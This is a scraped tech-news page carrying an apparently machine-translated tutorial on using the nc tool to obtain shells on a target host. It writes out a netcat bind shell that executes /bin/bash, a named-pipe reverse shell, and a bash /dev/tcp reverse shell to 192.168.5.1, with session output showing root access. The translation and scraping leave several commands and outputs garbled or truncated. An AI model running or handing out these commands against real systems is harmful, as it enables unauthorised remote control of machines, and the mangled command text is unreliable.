Network Security Internet Technology Development Database Servers Mobile Phone Android Software Apple Software Computer Software News IT Information

In addition to Weibo, there is also WeChat

Please pay attention

WeChat public account

Shulou

Linux command-- nc

2025-01-18 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Network Security >

Share

Shulou(Shulou.com)06/01 Report--

The nc help document says swiss army knife in the TCP/IP protocol, which is a simple and versatile tool for reading and writing data through a network connection using the tcp or udp protocol! It is often used to bounce shell in *, to perform shell interactively, or to lift power!

Basic syntax is used:

Nc option IP port

Basic parameters description:

-l: listen for port, listen for inbound information-p: followed by local port number-v: display port information. Most people like to use-vv, but I don't see any difference when I use it.

The first method:

The first requires that the target host is directly an independent ip of the external network. If it is mapped through the internal network, this method is not applicable!

Target host:

Nc-lvp 2222-e / bin/bashroot@kali:~# nc-lvp 2222-e / bin/bashlistening on [any] 2222.

* Host:

Nc target IP 2222F:\\ eth20-CTF-Toolkits\\ CTF Toolkit\\ connection tool > nc 192.168.5.128 2222

At this point, let's look at the target host:

Root@kali:~# nc-lvp 2222-e / bin/bashlistening on [any] 2222... 192.168.5.1: inverse host lookup failed: Unknown hostconnect to [192.168.5.128] from (UNKNOWN) [192.168.5.1] 14960

At this point, we can execute orders on the * machine!

F:\\ eth20-CTF-Toolkits\\ CTF Toolkit\\ connection tool > nc 192.168.5.128 2222whoamirootuname-aLinux kali 4.6.0-kali1-amd64 # 1 SMP Debian 4.6.4-1kali1 (2016-07-21) x86 * 64 GNU/Linux

The second method:

The second method requires us to have an independent public network ip, which is used to listen to the returned shell!

Target host:

Root@kali:~# mknod / tmp/backpipe proot@kali:~# / bin/sh 0/tmp/backpipe

* Host:

F:\\ eth20-CTF-Toolkits\\ CTF Toolkit\\ connection tool > nc-lvp 2222lstn on [any] 2222.. 192.168.5.128: reverse hst chk phailed: h_errno 11004: NO_DATAconnect to [192.168.5.1] from (UNKNOWN) [192.168.5.128] 53404: NO_DATAwhoamirootuname-aLinux kali 4.6.0-kali1-amd64 # 1 SMP Debian 4.6.4-1kali1 (2016-07-21) x86 million 64 GNU/Linux

The third kind:

The third method requires that we have an independent public network ip to receive shell!

Target host:

Root@kali:~# bash-I > & / dev/tcp/192.168.5.1/2222 0 > & 1

* Host:

F:\\ eth20-CTF-Toolkits\\ CTF Toolkit\\ connection tool > nc-lvp 2222lstn on [any] 2222.. 192.168.5.128: reverse hst chk phailed: h_errno 11004: NO_DATAconnect to [192.168.5.1] from (UNKNOWN) [192.168.5.128] 53418: NO_DATAroot@kali:~# uname-auname-aLinux kali 4.6.0-kali1-amd64 # 1 SMP Debian 4.6.4-1kali1 (2016-07-21) X86_64 GNU/Linuxroot@kali:~# whoamiwhoamirootroot@kali:~#exit

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.

Views: 0

*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.

Share To

Network Security

Wechat

© 2024 shulou.com SLNews company. All rights reserved.

12
Report